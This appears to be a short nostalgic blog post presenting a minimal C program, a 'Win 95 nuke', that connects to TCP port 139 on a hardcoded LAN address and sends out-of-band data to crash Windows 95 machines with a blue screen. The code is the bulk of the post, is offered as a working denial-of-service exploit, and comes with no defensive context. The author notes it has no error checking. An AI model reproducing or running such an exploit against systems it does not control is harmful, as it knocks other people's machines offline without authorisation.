win95bsod (Win 95 nuke)
The good ol' days, when Windows 95 bluescreened when it was sent an OOB packet. I was looking for the original nukes, when I decided it would take less time for me to code one myself quickly. Then I decided to make it look as simple as possible (yes, I know, there is no error checking and it's all ANSI C).
#include <winsock2.h> main() { struct addrinfo *ai, hints = { 0, AF_UNSPEC, SOCK_STREAM, IPPROTO_TCP }; INT_PTR s; WSADATA wsadata; WSAStartup(MAKEWORD(2, 2), &wsadata); s = socket(AF_INET, SOCK_STREAM, IPPROTO_TCP); getaddrinfo("192.168.1.9", "139", &hints, &ai); connect(s, ai->ai_addr, (int)ai->ai_addrlen); send(s,&(char)s,2,MSG_OOB); }